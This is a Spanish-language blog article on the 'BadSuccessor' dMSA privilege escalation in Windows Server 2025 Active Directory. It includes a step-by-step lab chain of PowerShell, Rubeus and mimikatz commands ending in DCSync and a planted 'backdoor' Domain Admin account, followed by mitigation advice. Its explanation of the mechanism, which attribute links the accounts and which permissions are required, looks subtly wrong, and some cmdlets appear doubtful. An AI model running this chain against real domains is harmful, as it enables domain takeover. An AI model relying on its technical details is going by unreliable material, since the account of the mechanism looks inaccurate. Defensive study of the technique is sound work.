BadSuccessor y Elevación de Privilegios en Active Directory

BadSuccessor: Elevación de Privilegios Aprovechando dMSA en Active Directory

Tiempo estimado de lectura: 5 minutos

Dificultad técnica: Intermedia

Conclusiones clave

• BadSuccessor utiliza la delegación inadecuada en dMSA para elevar privilegios.
• Se requiere acceso a una cuenta con permisos de delegación sobre dMSA privilegiadas.
• La técnica permite a atacantes operar con privilegios de cuentas administrativas dentro del dominio.
• Las configuraciones de delegación deben ser revisadas y auditadas para prevenir este tipo de ataques.
• La seguridad no solo se trata de aplicar parches, sino también de un buen diseño y gobernanza del entorno.

Índice

• ¿Qué son las dMSA?
• El mecanismo detrás de BadSuccessor
• Escenario de ataque
• Requisitos para el ataque
• Ejemplo – Escenario de ataque completo: De usuario delegado a Domain Admin
• Recomendaciones de mitigación
• Conclusión
• Fuente

¿Qué son las dMSA?

Las Cuentas de Servicio Administradas Delegadas (dMSA) fueron introducidas en Windows Server 2025 como una evolución de las Managed Service Accounts (MSA) y Group Managed Service Accounts (gMSA). Su propósito es brindar una gestión centralizada, segura y delegada de cuentas de servicio, incluyendo características tales como:

• Rotación automatizada de contraseñas.
• Restricciones por máquina, asegurando que solo equipos autorizados puedan utilizarlas.
• Delegación de control para facilitar la administración sin violar el principio de mínimos privilegios.

El mecanismo detrás de BadSuccessor

BadSuccessor se fundamenta en el abuso de la funcionalidad que habilita la delegación en la gestión de una dMSA. Con esta característica, una entidad (bien sea un usuario o un grupo) puede gestionar una cuenta de servicio sin requerir privilegios directos de dominio. El problema surge cuando:

• Una cuenta de bajo privilegio es delegada para gestionar una dMSA con privilegios elevados, como puede ser la utilizada por un servicio con permisos de alto nivel.
• Esta cuenta puede crear una nueva dMSA «sucesora», que es presentada como reemplazo de la dMSA original.

Active Directory acepta la cuenta sucesora como válida y le otorga acceso a los privilegios y funcionalidades de la cuenta original. Este proceso puede ser utilizado para aumentar privilegios dentro del dominio, no explotando vulnerabilidades, sino aprovechando configuraciones inadecuadas de delegación.

Escenario de ataque

El atacante inicia el proceso creando una nueva cuenta dMSA, a la que podría llamar, por ejemplo, attacker$. Posteriormente, modifica los atributos del objeto de Active Directory para la dMSA objetivo (como svc_SQLProd$) para enlazar la nueva dMSA (attacker$) como su sucesora. Luego, solicita un TGT (Ticket Granting Ticket) a través de Kerberos utilizando su nueva cuenta attacker$. El controlador de dominio (DC) emite un TGT válido para attacker$, que incluye accesos y permisos equivalentes a los de la cuenta original (target user), como podría ser svc_ejemplo$. Así, el atacante opera con privilegios heredados. Si la dMSA original era parte de grupos como Domain Admins, el atacante ahora tiene acceso total al dominio.

Requisitos para el ataque

• Control total o parcial de una cuenta con permisos de delegación sobre una dMSA privilegiada.
• Acceso a un entorno de dominio con controladores de dominio actualizados a Windows Server 2025.
• Conocimiento de las estructuras de delegación presentes en Active Directory.

Ejemplo – Escenario de ataque completo: De usuario delegado a Domain Admin

Infraestructura del laboratorio

• Dominio: lab.local
• DC: DC01.lab.local (Windows Server 2025)
• Cuenta dMSA privilegiada: svc_SQLProd$ (empleada por un SQL Server que forma parte de Domain Admins)
• Usuario delegado: john.smith (puede gestionar la cuenta svc_SQLProd$)

Objetivo: Elevar privilegios de john.smith para conseguir un TGT como svc_SQLProd$, permitiendo ejecutar acciones como un Domain Admin.

1. Verificar la delegación sobre la dMSA:

   Get-ACL "AD:\CN=svc_SQLProd$,CN=Managed Service Accounts,DC=lab,DC=local" | Format-List

   Asegurarse de que john.smith posea permisos como WriteProperty, GenericAll, o similares.

2. Crear una dMSA sucesora:

   New-ADServiceAccount -Name "svc_Malicious" -RestrictToOutboundAuthenticationOnly:$true

   Delegar la gestión (herencia/sucesión):

   Set-ADObject -Identity "CN=svc_SQLProd$,CN=Managed Service Accounts,DC=lab,DC=local" -Add @{"msDS-ManagedBy"="CN=svc_Malicious,CN=Managed Service Accounts,DC=lab,DC=local"}

   Este paso vincula la nueva dMSA como sucesora, heredando las funcionalidades de la original.

3. Instalar la dMSA en una máquina autorizada:

   Install-ADServiceAccount -Identity svc_Malicious

   Test-ADServiceAccount -Identity svc_Malicious

4. Obtener el secreto gestionado (hash o contraseña):
   Instalar el módulo RSAT si es necesario:

   Import-Module ActiveDirectory

   Get-ADServiceAccount svc_Malicious -Properties msDS-ManagedPassword

   Alternativamente, se puede usar PowerView o DSInternals para extraerlo:

   Get-ADComputerServiceAccountKey -AccountName svc_Malicious

5. Solicitar un TGT con Rubeus:

   Rubeus.exe asktgt /user:svc_Malicious$ /rc4:<NTLM_HASH> /domain:lab.local

   Y cargarlo en la sesión actual:

   Rubeus.exe ptt /ticket:<base64_TGT>

6. Acciones como Domain Admin:
   Si svc_SQLProd$ es parte de Domain Admins, el atacante puede:

   nltest /dclist:lab.local  # Enumerar controladores

   mimikatz "lsadump::dcsync /user:Administrator"  # DCSync

   net user backdoor P@ssw0rd! /add  # Añadir usuario administrador

   dsmod group "CN=Domain Admins,CN=Users,DC=lab,DC=local" -addmbr "CN=backdoor,CN=Users,DC=lab,DC=local"  # Agregar al grupo

Recomendaciones de mitigación

• Auditar la delegación de control sobre cuentas de servicio: No se debe permitir a ninguna cuenta de bajo privilegio tener permisos sobre cuentas de servicios críticos.
• Revisar el uso de sucesores en configuraciones de dMSA: Es importante documentar qué cuentas pueden reemplazar a otras.
• Restringir la creación de nuevas dMSA a roles administrativos específicos y supervisados.
• Monitorear cambios en objetos dMSA mediante registros y sistemas SIEM.

Conclusión

BadSuccessor es un claro ejemplo de cómo una funcionalidad legítima puede ser convertida en un vector de ataque si no se configura adecuadamente. La introducción de dMSA en Windows Server 2025 presenta beneficios considerables para la gestión de servicios, pero también hace necesario revisar detenidamente las políticas de delegación. Este tipo de análisis subraya que la seguridad no solo radica en aplicar parches, sino también en el diseño y la gobernanza del entorno.

Fuente

https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory